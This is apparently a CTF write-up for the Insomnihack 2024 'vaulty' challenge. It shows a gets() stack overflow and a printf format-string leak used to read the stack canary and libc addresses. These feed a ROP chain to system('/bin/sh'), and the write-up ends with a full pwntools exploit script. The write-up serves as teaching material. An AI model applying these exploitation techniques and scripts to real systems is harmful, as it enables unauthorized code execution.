Contents

vaulty

#vaulty

Introduction

This post is a write-up of a pwn challenge from INSOMNIHACK PREQUAL CTF 2024.

Honestly i dont validate it in the time of the ctf.

You can find le binary here : vaulty.zip

Le description of the challenge is :

Everybody needs a password manager.

nc vaulty.insomnihack.ch 4556

vaulty

The application is running in a ubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494 container.

the tools used are ghidra to discovering the code, radare2 to insperct the disassembles form, and GDB/GEF to debug.

Discovery

Starting, the program display this menu.

./vaulty 
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):

We can create some password entries in a password vault.

Looking at the program

file vaulty 
vaulty: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=35a292ce50c0e54f6076a924df6b3d9041f9a5ca, for GNU/Linux 4.4.0, stripped

The program is a PIE x86-64 programme stripped.

checksec vaulty

[*] '/w/insomnihack2024/vaulty/vaulty'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Stack protection is enabled : NX and canary

The first bug : overflow

The program is stripped so we have to reconaize and name the functions. With the messages printed it is easy.

The main function is a simple loop with a switch:

undefined8 FUN_main(void)
{
  int iNo;
  long in_FS_OFFSET;
  undefined data [979];
  char no_s5 [5];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  FUN_set_zero_end(data);
  do {
    FUN_menu();
    fgets(no_s5,5,stdin);
    iNo = atoi(no_s5);
    switch(iNo) {
    default:
      puts("Invalid choice. Please enter a valid option.");
      break;
    case 1:
      FUN_new_entry(data);
      break;
    case 2:
      FUN_edit_entry(data);
      break;
    case 3:
      FUN_delete_entry(data);
      break;
    case 4:
      FUN_view_entry(data);
      break;
    case 5:
      if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
  } while( true );
}

We can note that a buffer of 979 is allocated on the stack and used ar argument for each function.

The entry creation function :

undefined8 FUN_new_entry(long param_1)

{
  undefined8 *puVar1;
  long in_FS_OFFSET;
  undefined8 username;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 password;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 url;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (*(int *)(param_1 + 0x3c0) < 10) {
    fflush(stdin);
    puts("Creating a new entry:");
    puts("Username: ");
    fgets((char *)&username,0x20,stdin);
    puts("Password: ");
    fgets((char *)&password,0x20,stdin);
    puts("URL: ");
    gets((char *)&url);
    puVar1 = (undefined8 *)((long)*(int *)(param_1 + 0x3c0) * 0x60 + param_1);
    *puVar1 = username;
    puVar1[1] = local_80;
    puVar1[2] = local_78;
    puVar1[3] = local_70;
    puVar1[4] = password;
    puVar1[5] = local_60;
    puVar1[6] = local_58;
    puVar1[7] = local_50;
    puVar1[8] = url;
    puVar1[9] = local_40;
    puVar1[10] = local_38;
    puVar1[0xb] = local_30;
    *(int *)(param_1 + 0x3c0) = *(int *)(param_1 + 0x3c0) + 1;
    puts("Entry created successfully.");
  }
  else {
    puts("Vault is full. Cannot create more entries.");
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;

Here, the probleme is the usage of gets in place of fgets. The username and password fields are correctly limited to 32 bytes. url not.

So we can write forward on the stack, overwirte the return addresse of the function but we smatche the canary too.

Looking at the prelude of the function

           ; var int64_t var_18h @ rbp-0x18
│           0x000011e2      55             push rbp
│           0x000011e3      4889e5         mov rbp, rsp
│           0x000011e6      53             push rbx
│           0x000011e7      4881ec880000.  sub rsp, 0x88
│           0x000011ee      4889bd78ffff.  mov qword [var_88h], rdi    ; arg1
│           0x000011f5      64488b042528.  mov rax, qword fs:[0x28]
│           0x000011fe      488945e8       mov qword [var_18h], rax
│           0x00001202      31c0           xor eax, eax

The stack size is 0x88 The canary is stored at rbp-0x18

And if we look a the code aroud the gets :

; var char *stream @ rbp-0x80
│      │    0x000012b8      488d5580       lea rdx, [stream]
│      │    0x000012bc      488d4a40       lea rcx, [rdx + 0x40]     ; rbp-0x80+0x40
│      │    0x000012c0      4889c2         mov rdx, rax              ; not usfull
│      │    0x000012c3      be20000000     mov esi, 0x20             ; not used
│      │    0x000012c8      4889cf         mov rdi, rcx              ; argument of gets
│      │    0x000012cb      b800000000     mov eax, 0
│      │    0x000012d0      e8abfdffff     call sym.imp.gets         ; char *gets(char *s)

The url is read @ rbp-0x40 : 0x28 (40) bytes before the canary

We can verify that 40 bytes in url work and 41 bytes smatch the canary

# ./vaulty 
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username: 
A
Password: 
B
URL: 
AAAAAAAAAABBBBBBBBBBAAAAAAAAAABBBBBBBBBB
Entry created successfully.

Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username: 
A
Password: 
B
URL: 
AAAAAAAAAABBBBBBBBBBAAAAAAAAAABBBBBBBBBBC
Entry created successfully.
*** stack smashing detected ***: terminated
Aborted (core dumped)

To make it with an cyclic pattern.

We put a break point at the canary verification sequence.

│      └──> 0x0000138c      488b55e8       mov rdx, qword [var_18h]
│           0x00001390      64482b142528.  sub rdx, qword fs:[0x28]
│       ┌─< 0x00001399      7405           je 0x13a0
│       │   0x0000139b      e8b0fcffff     call sym.imp.__stack_chk_fail 

Under gdb/gef :

gef➤ start
...
gef➤  pie breakpoint 0x1390
gef➤  i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000560a00a0d390 

Obtain a pattern

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'

continue

Use it

1
Creating a new entry:
Username: 
A
Password: 
B
URL: 
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Entry created successfully.

The program stop at the BP and we see the value in rdx :

$rdx : 0x6161616161616166 (“faaaaaaa”?)

gef➤  pie breakpoint 0x11fe
gef➤  pie breakpoint 0x1390
gef➤  i b
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x000055cc8a3961fe 
3       breakpoint     keep y   0x000055cc8a396390 
c

On the first BP, befor the setting of the canary :

gef➤  x/20xg $rsp
0x7fff5fc2c6f0:	0x00007fff5fc2cb73	0x00007fff5fc2c7a0
0x7fff5fc2c700:	0x00007f0307b20000	0x000055cc8b29c2a2
0x7fff5fc2c710:	0x0000000107ad3780	0x0000000000000000
0x7fff5fc2c720:	0x0000000000000018	0x00007fff5fc2cb73
0x7fff5fc2c730:	0x0000000000000000	0x000000005fc2cb73
0x7fff5fc2c740:	0x0000000000000000	0x00007fff5fc2cc98
0x7fff5fc2c750:	0x00007fff5fc2cb80	0x0000000000000000
0x7fff5fc2c760:	0x00007fff5fc2cca8	0x000055cc8a398dd8
0x7fff5fc2c770:	0x00007f0307b20000	0x00007fff5fc2cc98
0x7fff5fc2c780:	0x00007fff5fc2cb80	0x000055cc8a396951

ni

gef➤  x/20xg $rsp
0x7fff5fc2c6f0:	0x00007fff5fc2cb73	0x00007fff5fc2c7a0
0x7fff5fc2c700:	0x00007f0307b20000	0x000055cc8b29c2a2
0x7fff5fc2c710:	0x0000000107ad3780	0x0000000000000000
0x7fff5fc2c720:	0x0000000000000018	0x00007fff5fc2cb73
0x7fff5fc2c730:	0x0000000000000000	0x000000005fc2cb73
0x7fff5fc2c740:	0x0000000000000000	0x00007fff5fc2cc98
0x7fff5fc2c750:	0x00007fff5fc2cb80	0x0000000000000000
0x7fff5fc2c760:	0x00007fff5fc2cca8	0xa7e39ea6c1999600
                                       ^ canary
0x7fff5fc2c770:	0x00007f0307b20000	0x00007fff5fc2cc98
                  _rtld_global         @ in the stack ??    
0x7fff5fc2c780:	0x00007fff5fc2cb80	0x000055cc8a396951
                  ^SRBP                ^SRIP

Then we create an entry with an url of 48 char (8 plus FFFFFFFFF for the canay).

gef➤  c
Continuing.
Creating a new entry:
Username: 
aaaaaaaa
Password: 
bbbbbbbb
URL: 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCEEEEEEEEEEFFFFFFFF
Entry created successfully.
gef➤  x/20xg $rsp
0x7fff5fc2c6f0:	0x00007fff5fc2cb73	0x00007fff5fc2c7a0
0x7fff5fc2c700:	0x6161616161616161	0x000055cc8b29000a
0x7fff5fc2c710:	0x0000000107ad3780	0x0000000000000000
0x7fff5fc2c720:	0x6262626262626262	0x00007fff5fc2000a
0x7fff5fc2c730:	0x0000000000000000	0x000000005fc2cb73
0x7fff5fc2c740:	0x4141414141414141	0x4242424242424141
0x7fff5fc2c750:	0x4343434342424242	0x4545434343434343
0x7fff5fc2c760:	0x4545454545454545	0x4646464646464646
0x7fff5fc2c770:	0x00007f0307b20000	0x00007fff5fc2cc98
0x7fff5fc2c780:	0x00007fff5fc2cb80	0x000055cc8a396951

and

$rdx : 0x4646464646464646 (“FFFFFFFF”?)

Then we understand the oportunity to obtaine an overflow but wath about the canary’s value.

The second bug : leak

Detection

We need a leak. For than a simple option is a printf vulerabiliy. So we try it.

Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username: 
%p %p %p %p
Password: 
%p %p %p %p
URL: 
%p %p %p %p
Entry created successfully.
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
4
Select an entry to view (0-2):
1
Username: 0x7ffdf2f97270 (nil) (nil) 0x1999999999999999
Password: 0x7ffdf2f97270 (nil) (nil) 0x78
Url: 0x7ffdf2f97270 (nil) (nil) 0x78

Bingo

ghidra confirmation :

void FUN_view_entry(long param_1)

{
  int iNo;
  char *__format;
  long in_FS_OFFSET;
  char buf5 [5];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  printf("Select an entry to view (0-%d):\n",(ulong)(*(int *)(param_1 + 0x3c0) - 1));
  fgets(buf5,5,stdin);
  iNo = atoi(buf5);
  if ((iNo < 0) || (*(int *)(param_1 + 0x3c0) <= iNo)) {
    puts("Invalid entry number.");
  }
  else {
    __format = (char *)((long)iNo * 0x60 + param_1);
    printf("Username: ");
    printf(__format);
    printf("Password: ");
    printf(__format + 0x20);
    printf("Url: ");
    printf(__format + 0x40);
    putchar(10);
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
printf(__format);

was the bad thing.

Building the exploitation

With the overflow whe can replace the return address of the new_entry function. With the printf bug, we can leak the value of the canary and more.

The stack is protected with NX flag and we can’t use directly a shellcode. We have to buid a ropchaine for example to call system("/bin/sh")

For that we need to now the address of the system function in the libc and a “/bin/sh” string. We will search leak to obtain an adresse of the libc. Typicatly :

  • obtain a leak of an adresse in the current programe
  • localize the GOT table of the process witch contains the current adresse of the used function like puts.
  • calculate the libc base adresse
  • calculate the system adresse
  • may be et probablely calculate /bin/sh adress in the libc too

we need too for our rop chaine some gadgets :

  • a “pop rdi” gadget

A we will see the we need a ret adresse too.

And before thant we nee the good libc, the same as the CTF challenge. The description of the challenge give us this information The application is running in a ubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494 container.

Environment to simulate the challenge

We build a docker container from this dockerfile, using the specified ubuntu image

 cat Dockerfile 
from amd64/ubuntu:22.04

# docker build -t ubuntu_vaulty .

RUN apt update
RUN apt -y install gdb gdbserver socat
COPY ./vaulty .
COPY ./start.sh .

RUN chmod +x ./vaulty
RUN chmod +x ./start.sh
RUN chmod +x ./start_debug.sh
RUN echo FLAG{flag_flag} >flag.txt

The start_debug.sh script will launch the programe with gdbserver :

#!/bin/sh
socat "tcp-listen:4556,reuseaddr,fork" 'exec:"gdbserver localhost:1337 ./vaulty",nofork'

Then the service will be avalable on port 4556 and the gdb debug port will be 1337.

We run the docker container :

docker run -d --rm -p 1337:1337 -p 4556:4556 --rm ubuntu_vaulty ./start_debug.sh

A start.sh can be used to avoid gdb usage

#!/bin/sh
socat "tcp-listen:4556,reuseaddr,fork" './vaulty",nofork'

Usage

  1. connect to server nc localhost 4556
  2. lauch gdb gdb -ex “target remote localhost:1337” vaulty

Leaking

To leak a useful information with printf("%p") we need to now where it is.

The method is to send and TAG followed by a “%p” sequence and identfy is index.

example :

Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
1
Creating a new entry:
Username: 
%p %p %p %p %p %p %p %p %p %p
Password: 
%p %p %p %p %p %p %p %p %p %p
URL: 
%p %p %p %p %p %p %p %p %p %p
Entry created successfully.
Vault Menu:
1. Create an entry
2. Modify an entry
3. Delete an entry
4. Print an entry
5. Exit
Enter your choice (1-5):
4
Select an entry to view (0-0):
0
Username: 0x7ffe177b8200 (nil) 0x7f4c8fd1e887 0xa (nil) 0x7ffe177ba750 0x7ffe177ba370 0xce2d0894 0x7ffe177ba370 0xa30e72040
Password: 0x7ffe177b8200 (nil) 0x7f4c8fd1e887 0xa 0x7ffe177b808f 0x7ffe177ba750 0x7ffe177ba370 0xce2d0894 0x7ffe177ba370 0xa30e72040
Url: 0x7ffe177b8200 (nil) 0x7f4c8fd1e887 0x5 0x7ffe177b808f 0x7ffe177ba750 0x7ffe177ba370 0xce2d0894 0x7ffe177ba370 0xa30e72040

Breaking on “printf” (0x17ad) we can look at the stack juste before it :

gef➤  p $rbp
$1 = (void *) 0x7ffe177ba350

gef➤  x/50xg $rsp-200
0x7ffe177ba258:	0xa3cfb0961cfbbe00	0x0000000000000004
0x7ffe177ba268:	0x00007ffe177b8200	0x0000000000000000
                start here
0x7ffe177ba278:	0x00007f4c8fd1e887	0x000000000000000a
0x7ffe177ba288:	0x0000000000000000	0x0000556ccf3d42be
0x7ffe177ba298:	0x0000556ccf3d42a2	0x0000000100000004
0x7ffe177ba2a8:	0x0000000000000000	0x0000556cce2d11e6
0x7ffe177ba2b8:	0x0000000000000000	0x000000008f054aa0
0x7ffe177ba2c8:	0xffffffffffffffff	0x0000000000000000
0x7ffe177ba2d8:	0x0000000000000000	0x00007ffe177ba350
0x7ffe177ba2e8:	0x00007ffe177ba868	0x0000556cce2d0894
0x7ffe177ba2f8:	0x0000556cce2d2dd8	0x00007f4c8fe72040
0x7ffe177ba308:	0x00007f4c8fc4d654	0x0000556cce2d2dd8
0x7ffe177ba318:	0x0000556cce2d07b2	0x00007ffe177ba750
0x7ffe177ba328:	0x00007ffe177ba370	0x00000000ce2d0894
0x7ffe177ba338:	0x00007ffe177ba370	0x0000000a30e72040
0x7ffe177ba348:	0xa3cfb0961cfbbe00	0x00007ffe177ba750 <= rbp>
                canary              srbp
0x7ffe177ba358:	0x0000556cce2d0984	0x00007f4c8fe39ad8
0x7ffe177ba368:	0x000000048fe36c18	0x7025207025207025
0x7ffe177ba378:	0x2520702520702520	0x2070252070252070
0x7ffe177ba388:	0x00000a7025207025	0x7025207025207025
0x7ffe177ba398:	0x2520702520702520	0x2070252070252070
0x7ffe177ba3a8:	0xff000a7025207025	0x7025207025207025
0x7ffe177ba3b8:	0x2520702520702520	0x2070252070252070
0x7ffe177ba3c8:	0x0000007025207025	0x000000000000000a
0x7ffe177ba3d8:	0x00007ffe177ba7e0	0x0000000000000001

To explore the stack a little script can be used

The result :

pattern :  %0$p %1$p %2$p %3$p
 %0$p 0x7ffd7616d340 (nil) 0x7fb75f6c6887

pattern :  %4$p %5$p %6$p %7$p
 0xa (nil) 0x7ffd7616f890 0x7ffd7616f4b0

pattern :  %8$p %9$p %10$p %11$p
 0xb1096894 0x7ffd7616f4b0 0xa3081a040 0xf50fe8ad7dd2db00

pattern :  %12$p %13$p %14$p %15$p
 0x7ffd7616f890 0x5621b1096984 0x7fb75f7e1ad8 0x45f7dec18

pattern :  %16$p %17$p %18$p %19$p
 0x3125207024363125 0x2438312520702437 0xa70243931252070 (nil)

pattern :  %20$p %21$p %22$p %23$p
 0x3225207024303225 0x2432322520702431 0xa70243332252070 0xffffffffffffff00

pattern :  %24$p %25$p %26$p %27$p
 0x3225207024343225 0x2436322520702435 0x70243732252070 0x7ffd7616f9a8

pattern :  %28$p %29$p %30$p %31$p
 0xa 0x7ffd7616f920 0x1 0x7ffd7616f9a8

pattern :  %32$p %33$p %34$p %35$p
 0x5621b1096894 0x7fb75f7f5dae (nil) 0x5621b1098dd8

pattern :  %36$p %37$p %38$p %39$p
 0x7ffd7616f9b8 (nil) 0x7fb75f81b2e0 0x7fb75f7cdf10

pattern :  %40$p %41$p %42$p %43$p
 0x7fb75f7e6040 (nil) 0x4 0x1

pattern :  %44$p %45$p %46$p %47$p
 (nil) 0xffff00001f80 0x7fb75f81b118 0x7fb75f81b800

pattern :  %48$p %49$p %50$p %51$p
 0x7ffd00000001 0x7fb75f80eee9 0x7ffd7616f500 0xd9ef86f4daa

pattern :  %52$p %53$p %54$p %55$p
 (nil) (nil) (nil) 0x7ffd761c4218

pattern :  %56$p %57$p %58$p %59$p
 0x2000000000 (nil) (nil) 0x38000000380

Specialy we found :

pattern :  %8$p %9$p %10$p %11$p
 0xb1096894 0x7ffd7616f4b0 0xa3081a040 0xf50fe8ad7dd2db00

pattern :  %12$p %13$p %14$p %15$p
 0x7ffd7616f890 0x5621b1096984 0x7fb75f7e1ad8 0x45f7dec18
  • 11 is the canary
  • 12 the save of RBP
  • 13 the return adresse in then main
  • 16 the begin of the printf argument

For the return adresse 0x1894 :

│   ││││╎   0x00001975      488d8520fcff.  lea rax, [var_3e0h]
│   ││││╎   0x0000197c      4889c7         mov rdi, rax
│   ││││╎   0x0000197f      e85dfdffff     call fcn.000016e1
│  ┌──────< 0x00001984      eb25           jmp 0x19ab

Give us the base adresse of the elf.

The we can identify the current got adresse

ex :

  • leak : 0x558726b82984
  • base adresse : leak - 0x00001984 => 0x558726b81000
  • got : base adresse + 0x03fc0 => 0x558726b84fc0

we can confirme with gdb :

gef➤  x/20xg 0x558726b84fc0
0x558726b84fc0:	0x00007f90c08dddc0	0x0000000000000000
0x558726b84fd0:	0x0000000000000000	0x0000000000000000
0x558726b84fe0:	0x00007f90c08f99a0	0x0000000000003de0
0x558726b84ff0:	0x00007f90c0b1d2e0	0x00007f90c0af7d30
0x558726b85000 <putchar@got.plt>:	0x0000558726b82036	0x00007f90c0934e50
0x558726b85010 <__stack_chk_fail@got.plt>:	0x0000558726b82056	0x00007f90c09146f0
0x558726b85020 <fgets@got.plt>:	0x00007f90c0933380	0x00007f90c0934520
0x558726b85030 <fflush@got.plt>:	0x00007f90c0933130	0x00007f90c09355f0
0x558726b85040 <atoi@got.plt>:	0x00007f90c08f7640	0x0000558726b820c6
0x558726b85050:	0x0000000000000000	0x0000558726b85058
gef➤  x/1xg 0x558726b85008
0x558726b85008 <puts@got.plt>:	0x00007f90c0934e50

The current address of puts is correct :

# readelf -s libc.so.6 |grep puts
   524: 000000000012cb20   660 FUNC    GLOBAL DEFAULT   15 putsgent@@GLIBC_2.10
   808: 000000000007fa00   294 FUNC    WEAK   DEFAULT   15 fputs@@GLIBC_2.2.5
   951: 000000000012b450  1218 FUNC    GLOBAL DEFAULT   15 putspent@@GLIBC_2.2.5
  1429: 0000000000080e50   409 FUNC    WEAK   DEFAULT   15 puts@@GLIBC_2.2.5
  1438: 0000000000080e50   409 FUNC    GLOBAL DEFAULT   15 _IO_puts@@GLIBC_2.2.5

And we can calculate de libc base address :

0x00007f90c0934e50 - 0x000000000080e50 => 0x7f90c08b4000

The offset of system is :

# readelf -s libc.so.6 |grep system
  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

=> system addresse is 0x7f90c0904d70

And for /bin/sh :

# rafind2 -Z libc.so.6 |grep /bin/sh
0x001d8678 /bin/sh

gef➤ p 0x00007f6324371e50 - 0x000000000080e50 $2 = 0x7f63242f1000

gef➤ p 0x7f90c08b4000 + 0x001d8678 $3 = 0x7f90c0a8c678 gef➤ x/s 0x7f90c0a8c678 0x7f90c0a8c678: “/bin/sh”

Read de GOT

Above we had read the entry got of puts with gdb. But we had to do it with the program.

To do that we can :

  • Modify the created entry with a new username for example withe a new pattern specifying %s and the calculated adresse of the entry.
  • view again the entry
  • parse the response.

We have seen than the 16th index of the printf is the start of the message. So “AAAAAAAA%16$p” will print 0x4141414141414141.

If we try tu put @got.puts|%16$p it dont work because of then zero bytes of the addresse will end the string message.

We have to put the adresse after the paterne and the it wi bi in the 17th position. DOn forger to aligne the pattern to have a 8 characters length.

“#%17$d# " is usefull, the # will help to parse the response.

ROP chain

We can send this simple rop chaine :

  • pop_rdi gadget
  • @ bin_sh
  • @ system

For that we nee a pop rdi gadget :

ROPgadget --binary libc.so.6 |grep "pop rdi"
...
0x000000000002a3e5 : pop rdi ; ret
...

##Solution

##Script

import pwn
import time

REMOTE=True
REMOTE=False
DEBUG=True

xs='''
pie breakpoint 0x17ad
'''

pwn.context.log_level='info'
pwn.context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]

def creer_entree(io, un, pw, url):
    io.recvuntil(b"):")
    io.sendline(b"1")
    io.recvuntil(b"Username:")
    io.sendline(un)
    io.recvuntil(b"Password:")
    io.sendline(pw)
    io.recvuntil(b"URL:")
    io.sendline(url)

def modifier_entree(io,no, un, pw, url):
    # Selection
    io.recvuntil(b"):")
    io.sendline(b"2")
    io.recvuntil(b"):")
    io.sendline(str(no).encode())
    # Modif
    io.recvuntil(b"Username:")
    io.sendline(un)
    io.recvuntil(b"Password:")
    io.sendline(pw)
    io.recvuntil(b"URL:")
    io.sendline(url)
    
def lire_entree(io, no):
    # Lecture
    io.recvuntil(b"):")
    io.sendline(b"4")
    io.recvuntil(b"):")
    io.sendline(str(no).encode())
    # io.interactive()
    io.recvuntil(b"Username:")
    un=io.recvuntil(b"Password:")
    un = un.removesuffix(b"Password:") 

    pw= io.recvuntil(b"Url:").removesuffix(b"Url:")
    url=io.recvline()
    return (un,pw,url)


binfile = "./vaulty"
libcfile=("./libc.so.6")

elf = pwn.ELF(binfile)
libc = pwn.ELF(libcfile)
# Extraction des offsets de symboles utiles
got_off = elf.get_section_by_name(".got").header.sh_addr
stack_fail_off = elf.got['__stack_chk_fail']
got_puts = elf.got['puts']
#got_putchar = elf.got['putchar']
got_printf = elf.got['printf']

libc_puts = libc.symbols['puts']
libc_system = libc.symbols['system']
libc_magic = 0x0ebc85
libc_pop_rdi = 0x02a3e5
libc_binsh=0x001d8678

if REMOTE:
    io = pwn.remote("vaulty.insomnihack.ch",4556)
else:
    if DEBUG:
        #io=pwn.process(["bash","run_vaulty.sh"])
        #time.sleep(.5)
        #io = pwn.gdb.debug(binfile,gdbscript=xs, env=env)
        io=pwn.remote("localhost",12345)
        time.sleep(1)
        #pwn.gdb.attach(("127.0.0.1",1337),xs)
    else:
        io = pwn.remote("localhost",12345)

# On recupere 
# 11 : le canary
# 12 : srbp
# 13 : srip
username = "#%12$p#%13$p#%11$p#"
creer_entree(io, username, b"pppp", b"url")
a,b,c = lire_entree(io,0)
print(a)
a = a.split(b"#")
srbp = int(a[1][2:],16)
srip = int(a[2][2:],16)
canary = int(a[3][2:],16)
elf_base= srip-0x1984
got_addr = elf_base+got_off
got_sfc_addr = elf_base+stack_fail_off
got_puts_addr=elf_base+got_puts
rop_nop = elf_base + 0x1823
#got_putchar_addr=elf_base+got_putchar
#got_printf_addr=elf_base+got_printf

print(f"srbp     : 0x{srbp:x}")
print(f"srip     : 0x{srip:x}")
print(f"canary   : 0x{canary:x}")
print(f"got      : 0x{got_addr:x}")
print(f"got_sfc  : 0x{got_sfc_addr:x}")

# Leak de l'adresse le puts dans la got
#PL=pwn.p64(got_sfc_addr)+b"#%14$s#"
PL=b"#%17$s# "+pwn.p64(got_puts_addr)
modifier_entree(io,0,PL,b"B",b"C")
e,_,_ = lire_entree(io,0)

# extraction du leak de puts et calcul de l'adresse de la libc
p = e.split(b"#")[1]
print(len(p),p.hex())
puts_addr = pwn.u64(p+b"\x00"*(8-len(p)))
libc_base = puts_addr - libc_puts
libc_system_addr = libc_base + libc_system
libc_magic_addr = libc_base + libc_magic
pop_rdi = libc_base + libc_pop_rdi
binsh = libc_base + libc_binsh

print(f"puts_addr       : 0x{puts_addr:x}")
print(f"libc_base       : 0x{libc_base:x}")
print(f"libc_system     : 0x{libc_system_addr:x}")
print(f"libc_pop_rdi    : 0x{pop_rdi:x}")

# debordement

PL = b"A"*40+pwn.p64(canary)+pwn.p64(0xdeadbeef)+pwn.p64(0xdeadbeef)+pwn.p64(0xdeadbeef)
PL+= pwn.p64(pop_rdi)+pwn.p64(binsh)+pwn.p64(rop_nop)+pwn.p64(libc_system_addr)
creer_entree(io, b"AAAAAAAA", b"BBBBBBBB", PL)
io.sendline("ls -l")
io.sendline("cat flag.txt")
io.interactive()

Execution